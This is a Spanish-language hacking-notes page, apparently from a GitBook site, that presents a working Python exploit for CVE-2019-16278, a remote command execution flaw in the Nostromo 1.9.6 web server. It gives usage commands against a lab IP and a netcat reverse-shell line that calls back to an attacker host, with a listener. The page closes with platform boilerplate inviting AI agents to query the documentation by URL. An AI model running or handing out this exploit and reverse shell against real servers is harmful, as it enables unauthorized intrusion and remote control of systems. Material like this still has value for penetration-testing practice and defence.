Descargue la prueba de concepto desde GitHub. {% embed url="" %} **Ejecución del script:** Use el siguiente script para ejecutar comandos en el servidor: ```python import argparse import socket # Configuración de argparse parser = argparse.ArgumentParser(description="Exploit for CVE-2019-16278 - Nostromo 1.9.6 RCE") parser.add_argument("-t", "--target", help="Remote host to target") parser.add_argument("-p", "--port", help="Remote port to target") parser.add_argument("-c", "--command", help="Command to execute on the server") parser.add_argument("-b", "--bytes", help="The number of bytes to receive back in the response") # Definir y asignar las variables args = parser.parse_args() TARGET = args.target PORT = int(args.port) COMMAND = args.command BYTES = args.bytes if BYTES is None: BYTES = 4096 else: BYTES = int(BYTES) URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0" # Construir y codificar el payload payload = (f"POST {URL}/r/n" "Content-Length: 1/r/n/r/n" f"echo/necho/n{COMMAND} 2>&1").encode() # Crear el socket y enviar el payload s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET, PORT)) s.send(payload) # Recibir la respuesta y cerrar el socket print(s.recv(1024).decode()) print(s.recv(BYTES).decode()) s.close() ``` ```bash python exploit.py -t 10.10.10.165 -p 80 -c whoami ```

**Obtención de una shell inversa:** ```bash python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443' ``` ```bash sudo nc -nlvp 443 ```

GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/cms/nostromo-cms-exploitation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
